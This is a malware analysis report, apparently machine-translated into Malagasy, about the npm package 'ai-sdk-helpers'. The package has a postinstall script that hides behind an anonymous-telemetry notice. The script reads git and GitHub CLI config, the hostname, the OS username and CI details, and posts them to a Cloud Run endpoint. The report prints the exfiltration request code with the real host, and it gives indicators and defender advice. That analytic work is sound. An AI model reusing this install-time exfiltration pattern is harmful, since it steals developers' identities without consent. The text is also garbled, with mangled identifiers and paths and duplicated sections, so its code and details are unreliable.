TL, DR
Fonosana npm tokana, ai-sdk-mpanampy, dia maneho ny tenany ho toy ny fitaovana famokarana ho an'ny Vercel AI SDK, manolotra fanaraha-maso ny fandaniana, fanampiana ho an'ny mpamatsy, ary mpanampy amin'ny streaming.
Misokatra miaraka amin'ny sora-baventy fampahafantarana voadio tsara izay mamaritra ny script-ny fotoana fametrahana azy diagnostika tsy mitonona anarana, mampanantena fa tsy misy kaody loharano, token, na fahazoan-dàlana alefa, manaja ny DO_NOT_TRACK misafidy ny tsy handray anjara, ary mampifandray amin'ny pejy politika momba ny telemetria.
Avy eo dia mamaky ny git identity, ny configuration GitHub CLI, ny anaran'ny milina, ny anaran'ny OS, ny lahatahiry miasa, ary ny mpamatsy CI an'ny mpamorona io script io ihany.
POST amin'ny endrika JSON ao amin'ny Google Cloud Run endpoint io angona io, ka miteraka tsy fitoviana mazava eo amin'ny politikan'ny telemetry voalaza sy ireo saha tena voangona.
Navoaka tamin'ny dikan-teny roa amby roapolo tao anatin'ny burst tokana 83 segondra ilay fonosana, ary mitovy isaky ny byte ny script fametrahana azy amin'ny dikan-teny rehetra misy marika.
Fito amin'ireo dikan-teny valo nodinihin'ny pipeline dia nahazo isa tsy azo namaranana tamin'ny alalan'ny mpanasokajy ML satria ny fomba fanoratana ny sora-baventy fanekena dia toy ny telemetria ara-dalàna.
Manasokajy izahay ai-sdk-helpers ho toy ny ratsy mifototra amin'ny fanangonana sy fanesorana ny mombamomba ny mpamorona amin'ny fotoana fametrahana.
Fahasarotana: avo.
Anatomie amin'ny fametrahana
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } aorian'ny fametrahana miasa ho azy npm install, alohan'ny hampidirana ny kaody rehetra nambara tao amin'ilay fonosana. Ny script scripts/postinstall.js no misy ny fihetsika rehetra mandritra ny fametrahana.
Manomboka amin'ny sakana fanehoan-kevitra sy fampandrenesana momba ny fotoana fiasana voasoratra ao amin'ny rejisitry ny tetikasa open-source izay miahy ny fiainana manokana izy io:
>Rehefa mametraka ai-sdk-helpers ianao dia manao fanamarinana haingana ny fifanarahan'ny tontolo iainana izahay ary mitatitra diagnostika tsy mitonona anarana… Tsy mitonona anarana tanteraka ny angon-drakitra — angoninay ny sehatrao, ny dikan-teny Node, ary ny hash tokana amin'ny famantarana ny milinao. Tsy misy kaody loharano, token, na credentials alefa mihitsy.
Mampifandray vavahady fialana miasa mihitsy aza izy io, ny kaody azo ampiasaina voalohany ao amin'ny rakitra:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Ny famehezana ity vavahady ity aloha no mahatonga ny ambiny ho toy ny fifanarahana: mpamorona iray izay mametraka `D_TSY_MANARA-DALANA` Mamita mangina ny fametrahana ary mamarana fa manaja ny fifanarahana ny fonosana. Tena misy ny safidy tsy hampiasaina. Ny zavatra sokafany, ho an'izay rehetra tsy mametraka izany, dia ny fanangonana voalaza etsy ambany — fa tsy ilay "sehatra, dikan-teny Node, ary hash tokana" tery kokoa izay lazain'ny fampandrenesana.
Eo ambanin'io vavahady io, ny script dia manangona entana izay mihoatra lavitra an'io famaritana io.
- *Gmaha-izy azy.* rvoavahaScmMaha-izy azy()` loha `~.gitconfig`,`~.config/git/config`,ary ny `an'ny tetikasa amin'izao fotoana izao.io/config`,mamakafaka ny `[ser]` ection, ary mamerina ny voamboatra commit mailaka. Raha tsy misy rakitra fikirakirana mamoaka mailaka, dia miverina any amin'ny `G izanyT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ary `EAIL` fiovaovan'ny tontolo iainana. Ny docstring eo ambonin'ny asa dia mamolavola ny famakiana ho toy ny fomba "hanalana ny fametrahana mitovy amin'ny milina an'ny olona iray ihany (ohatra ny solosaina finday + CI)" - tanjona voalaza izay mitaky famantarana maharitra isaky ny mpamorona, izay commit fitaovana mailaka.
- *Gkaonty tHub.* rvahaoGitHubIdentity()` loha `~.config/gh/hosts.yml` sy `~.config/gh/hosts.yaml` ny rakitra fikirakirana nosoratan'ny GitHub CLI rehefa manamarina ny mpamorona - ary maka ny `u ny regexer:` arymarary saha. Io rakitra io koa dia mitahiry ny GitHub OAuth token; ny regex-n'ny script dia mikendry manokana ny anaran'ny mpampiasa sy ny andalana mailaka ary tsy maka ny token. Noho izany, ny filazana hoe "tsy misy token... alefa mihitsy" ao amin'ny sora-baventy fampahafantarana dia marina ara-bakiteny ho an'io saha iray io raha vakiana sy alefa ireo famantarana kaonty manodidina.
- *Hdian-tanana st sy CI.* dia manangona `o ny script avy eo.anarana mpampiantrano()`,`o.userInfo().anarana mpampiasa`,ny dikan-teny, sehatra ary maritrano Node, `pocess.cwd()`,ary ny marika CI-provider dia voavaha amin'ny alàlan'ny fanamarinana ireo variables environment ho an'ny mpamatsy valo (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ary flags generic-CI roa). Ny lisitry ny mpamatsy dia vakiana ho toy ny lisitra misy ny toerana antenain'ny script hanatanterahana - akorandriaka interactive sy fananganana mandeha ho azy pipelines mitovy.
Ireo rehetra ireo dia atambatra ho iray `dolona tsy mino an'Andriamanitra bject, miaraka amin'ireo saha isaky ny mpamorona nangonina teo ambanin'ny `isinga ey sy ny angon-drakitra mpampiantrano eo ambanin'ny `rntime` sy `clahatsoratra eys, avy eo dia zaraina ho andiany ary alefa:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Ariana ny valiny ary tsy misy intsony ny lesoka rehetra — misy fanehoan-kevitra milaza fa "tsy tokony hanimba ny fametrahana mihitsy ny telemetry." Ny anaran'ny mpampiantrano endpoint dia mandika serivisy Google Cloud Run ao amin'ny `etady-andrefana1` faritra.
Ny banga dia ny tantara. Ny sora-baventy dia manonona sokajy telo amin'ny angona — sehatra, dikan-teny Node, hash famantarana milina. Ny payload dia mandefa ny git tena izy an'ny mpamorona. commit mailaka, ny anaran'ny mpampiasa sy ny mailaka GitHub-ny, ny anaran'ny mpampiantrano ny milina sy ny anaran'ny kaontin'ny OS, ny lalan'ny tetikasany, ary ny tontolo iainana CI-ny. Ireo saha mamaritra ny *prson sy ny kaontiny* ireo saha tsy voalaza ao amin'ilay fanambarana mihitsy.
Manamafy ny endrika avy amin'ny ilany ilany ny README. Mamerina ny filazana tsy mitonona anarana ny fizarana "Telemetry" ao aminy ary mampifandray ny teny hoe `D_TSY_MANARA-DALANA` o `cnsoledonottrack.com`,ny pejy tena izy ao amin'ny vondrom-piarahamonina izay mirakitra ny fifanarahana momba ny fialana amin'ny fifanarahana — mindrana fiainana manokana ekena standard mba hovakiana ho toy ny mahazatra ny fampandrenesana.
Timeline
Fonosana tokana ity, fohy dia fohy ny tantaran'ny famoahana azy. Tsy misy andiana fampielezan-kevitra mandritra ny herinandro maromaro azo arahina — nohafainganina tamin'ny hafainganam-pandehan'ny milina ny andiany manontolo.
| Rahoviana (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Dikanteny voalohany (0.1.0) navoaka tao amin'ny npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Ny dikan-teny 22 rehetra (0.1.0 amin'ny alalan'ny 1.4.2) navoaka tao anaty fipoahana mandeha ho azy maharitra 83 segondra. |
| 2026-06-04 | Dikan-teny valo no voamarika tamin'ny alalan'ny famantarana famantarana; ny famakafakana tanana dia manamafy ny fanangonana famantarana sy ny fanesorana ny filtration amin'ny fotoana fametrahana. Mbola velona tao amin'ny npm ny fonosana tamin'ny fotoana nanaovana ny famakafakana. |
Ny varavarankely 83 segondra eo amin'ny dikan-teny semantika 22 dia famantarana fitondran-tena ihany koa: ny tohatra dikan-teny (`01.0`,`01.1`,… `14.2`)mampiseho ny endriky ny tetikasa iray izay tantanin'ny olona mavitrika miaraka amin'ny tantaran'ny famoahana, izay novokarina tao anatin'ny script iray monja. Tsy miova ny script fametrahana amin'io dingana io — jereo eto ambany.
Famantarana ny marimaritra iraisana
Mitovy ny habetsaky ny entana ampiasaina amin'ny fotoana fametrahana manerana ny andiany navoaka. A `dff` f`sripts/postinstall.js` eo anelanelan'ny dikan-teny `02.1` sy ny dikan-teny `14.2` tsy mamerina fahasamihafana; dian-tanana raikitra iray ny fitondran-tena, fa tsy entana miovaova.
Network
Ny varavarankely 83 segondra eo amin'ny dikan-teny semantika 22 dia famantarana fitondran-tena ihany koa: ny tohatra dikan-teny (`01.0`,`01.1`,… `14.2`)mampiseho ny endriky ny tetikasa iray izay tantanin'ny olona mavitrika miaraka amin'ny tantaran'ny famoahana, izay novokarina tao anatin'ny script iray monja. Tsy miova ny script fametrahana amin'io dingana io — jereo eto ambany.
Famantarana ny marimaritra iraisana
Mitovy ny habetsaky ny entana ampiasaina amin'ny fotoana fametrahana manerana ny andiany navoaka. A `dff` f`sripts/postinstall.js` eo anelanelan'ny dikan-teny `02.1` sy ny dikan-teny `14.2` tsy mamerina fahasamihafana; dian-tanana raikitra iray ny fitondran-tena, fa tsy entana miovaova.
Network
| famantarana | anjara asa |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Ny teboka famaranana exfiltration dia mandray fangatahana HTTPS POST miaraka amin'ny payloads JSON. Ampiantranoina ao amin'ny Google Cloud Run ao amin'ny europe-west1 faritra. |
Fotodrafitrasa fandrika
| famantarana | anjara asa |
|---|---|
ai-sdk.guide | Pejy fandraisana ny fonosana sy ny tranonkala mivantana manohana ny maha-izy azy ny mpanoratra ny "AI SDK Guide". |
ai-sdk.guide/telemetry | Ny URL-n'ny politika momba ny telemetria voalaza ao amin'ny fampandrenesana momba ny fotoana fametrahana. |
hello@ai-sdk.guide | Nambara tao amin'ny mailaka nosoratan'ny mpanoratra package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Tahiry loharano nambaran'ny fonosana. |
Rakitra vakiana amin'ny fotoana fametrahana
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` namany Sary
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `emarary
Sonian'ny fitondran-tena
- – m`pstinstall` ook miantso script Node mifamatotra
- – vavahady fialana (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_TSY_MANARA-DALANA`)aseho ho endri-javatra momba ny fiainana manokana, alohan'ny fanangonana maha-izy azy
- – tbound HTTPS POST an'ny zavatra JSON misy git email, GitHub identity, hostname, OS username, cwd, ary CI label
- - script fametrahana mitovy amin'ny dikan-teny navoaka haingana
Fitondran-tena voamarika sy ny fanomezan-toky
Tsy manome na inona na inona ankoatra izay voarakitra ao amin'ny fonosana sy ny metadata-n'ny rejisitra izahay.
Ny mpitazona firaketana npm dia ny kaonty `aielsimon`,miaraka amin'ny adiresy `aiel@vigilance.security`.Ny rejisitra dia mitanisa io mailaka io ho tsy voamarina ary ny maha-izy azy ny kaonty izay mifehy ny loharano dia tsy voamarina. Ny `pckage.json`,misaraka, dia manolotra ny mpanoratra ho "AI SDK Guide `ello@ai-sdk.guide>`”miaraka amin'ny pejy fandraisana an'ny `a-sdk.guide` ary tahiry loharano eo ambanin'ny `gfikambanana thub.com/ai-sdk-guide`. Ny sehatra mailaka an'ny kaonty mpamoaka (`vigilance.security`)ary ny maha-izy azy ny mpanoratra ao anaty fonosana (`a-sdk.guide`)sehatra samihafa izy ireo.
Ny `a-sdk.guide` Mivantana ny ite ary mamaly, ary ny `/elemetria Voavaha ny olana amin'ny ath — tohanan'ny fisian'ny tranonkala azo tratrarina fa tsy rohy maty ny maha-izy azy ny decoy, izay mampitombo ny fahatokisana ny endriky ny fonosana.
**Fahafahana voamarika.** Amin'ny fotoana fametrahana, mamaky ny mombamomba ny mpamorona sy ny rakitra fikirakirana kaonty ny fonosana, maka ny dian-tanana amin'ny tontolo iainana mpampiantrano sy CI, ary mandefa ny valiny any amin'ny teboka farany fehezin'ny mpandraharaha, sady mampiseho fampandrenesana izay mamaritra andiana angon-drakitra tery kokoa sy tsy mitonona anarana. Mamaritra io fihetsika io izahay; tsy milaza antony manosika azy. Ireo mpamaky manombana ny fonosana — anisan'izany izay antoko rehetra manaiky ny mombamomba ny famoahana — dia tokony handanjalanja ny tsy fitoviana hita maso eo amin'ny fikorianan'ny angon-drakitra voalaza sy ny tena izy.
Fiantraikany, fironana ary torolàlana ho an'ny mpiaro
Iza no miharihary. Izay rehetra mametraka ai-sdk-mpanampy — mivantana na amin'ny maha-fiankinan-doha amin'ny tetezamita — no mampandeha ny fanangonana amin'io milina io. Satria ny trigger dia aorian'ny fametrahana, tsy voatery ampidirina mihitsy ny kaody tranomboky nambara mba hitrangan'ny fikorianan'ny angona; ny fametrahana fotsiny dia ampy. Ny tontolo iainana sarobidy indrindra dia ny toeram-piasana mpamorona miaraka amin'ny maha-izy azy git voalamina sy GitHub CLI voamarina, ary ny CI runners, izay ambaran'ny famantarana CI-provider an'ny script fa ny fanangonana dia antenaina hiasa ao anatin'ny build. pipelineary koa amin'ny solosaina finday.
Izay aharihariny. Tsy tsiambaratelon'ny fampiharana amin'ny ankapobeny — mifantoka amin'ny entana ny entana maha-: an'ny mpamorona commit mailaka, ny anaran'ny kaontiny GitHub sy ny mailaka, ny anaran'ny milina sy ny kaonty, ary ny lalan'ny tetikasa. Izany dia mialohacisSarintany maneho hoe iza no nametraka ny fonosana, tamin'ny milina inona, tao amin'ny tahiry inona, ary teo ambanin'ny rafitra CI inona. Ho an'ny fikambanana iray, ny firaketana vitsivitsy toy izany dia afaka manisa hoe iza amin'ireo injeniera sy iza no manorina rafitra no nisintona ny fiankinan-doha — ilaina ho toy ny mialoha ny asa fanaraha-maso kendrena kokoa, na dia mijanona amin'ny fanangonana sy fandefasana aza ny fihetsik'ity fonosana ity.
Ny fironana: telemetria ho toy ny fonony. Manangona diagnostika fametrahana tsy mitonona anarana ireo fitaovana mpamorona ara-dalàna, ary ireo fombafomba hanaovana izany amim-panajana — fampandrenesana fampahafantarana, a AZA_MANARA-MASO honor, sainam-pialana, URL politika — dia fantatra tsara. ai-sdk-mpanampy mamerina amim-pahatokiana ireo fifanarahana efatra ireo ary mampiasa azy ireo ho toy ny fonosana fanangonana maha-izy azy. Ny fisian'ny sora-baventy fanekena, ny tsy fandraisana andraikitra miasa, na ny rohy momba ny politika momba ny fiainana manokana dia tsy porofo fa azo itokisana ny fonosana iray; mora ny maka tahaka ireo fanaraha-maso ireo. Ny hany fanamarinana azo itokisana dia izay tena vakian'ny kaody sy ny toerana tena andefasany azy.
Ity fonosana ity koa dia misy fiantraikany azo refesina amin'ny triage mandeha ho azy. Amin'ny dikan-teny rehetra, ny pipeline Rehefa nojerena, ny fanehoan-kevitra tsotra amin'ny script fametrahana, ny anaran'ny saha voarafitra, ary ny vavahady fialana mahazatra dia nahazo isa ho telemetria mahazatra: fito amin'ny valo no niverina inconclusive avy amin'ny mpanasokajy ML fa tsy ratsy. Ny famantarana mamaha ny tsy fahazoana antoka dia tsy ao amin'ny lahatsoratra — fa ao amin'ireo rakitra manokana sokafan'ny script (~ / .gitconfig, ~/.config/gh/hosts.yml) sy ny toerana alehany. Ny mpandinika, mandeha ho azy na olombelona, izay mamaky ny fanambarana ary mijanona eo dia ho tonga amin'ny famaranana diso; ny famaritana dia tsy maintsy avy amin'ny zava-misy momba ny fikorianan'ny angona.
Torolalana ho an'ny mpiaro:
- Apetraho miaraka amin'ny script tsy mandeha amin'ny laoniny — npm fametrahana --tsy miraharaha-scripts, na napetraka tsy miraharaha-scripts=marina in .npmrc ary manatanteraka mazava tsara ireo dingana fananganana efa voamarina. Izany dia manafoana aorian'ny fametrahana-natao fanangonana amin'ny ankapobeny.
- Aza raisina ho toy ny famantarana ny fahatokisana ny fanaraha-maso ny fialana. AZA_MANARA-MASO Ny "check" na ny rohy "politikan'ny telemetria" dia tsy milaza aminao na inona na inona momba ny angon-drakitra angonin'ny script rehefa tsy napetraka ny vavahady.
- Vakio ny toromarika fametrahana alohan'ny handraisana ireo fonosana mpanampy AI-ecosystem. Ny sehatra Vercel AI SDK dia lasibatra mihetsiketsika haingana sy azo itokisana; a aorian'ny fametrahana izay mikasika ~ / .gitconfig or ~/.config/gh/ dia famantarana mazava na inona na inona fomba fanoratana ireo fanehoan-kevitra manodidina.
- Araho maso ny fivoahana amin'ny fotoana fanamboarana. HTTPS POST mivoaka mandritra ny npm install, indrindra ho an'ny teboka farany amin'ny fiasan'ny rahona vao nomanina, dia azo jerena ao amin'ny sosona tambajotra ary teboka famantarana matanjaka ho an'ny tontolo CI.
- Tandremo ireo tohatra dikan-teny voaporitra. Ny fonosana iray izay miseho ao anatin'ny segondra vitsy ny tantaran'ny dikan-teny semantika manontolo, miaraka amin'ny script fametrahana tsy miova, dia mampiseho tantaran'ny fikojakojana novokarina.





